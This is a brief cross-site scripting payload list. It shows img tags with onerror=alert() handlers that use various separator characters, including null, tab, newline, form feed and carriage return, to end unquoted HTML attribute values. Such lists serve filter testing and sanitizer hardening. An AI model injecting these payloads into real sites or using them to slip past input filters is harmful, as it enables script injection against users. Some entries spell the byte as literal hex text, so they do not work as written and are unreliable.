Characters that end unencapsulated HTML attribute values

<img src=x0x00onerror=alert(0)>

<img src=x0x09onerror=alert(9)>

<img src=x
onerror=alert(10)>

<img src=x0x0Conerror=alert(12)>

<img src=x0x0Donerror=alert(13)>

<img src=x onerror=alert(32)>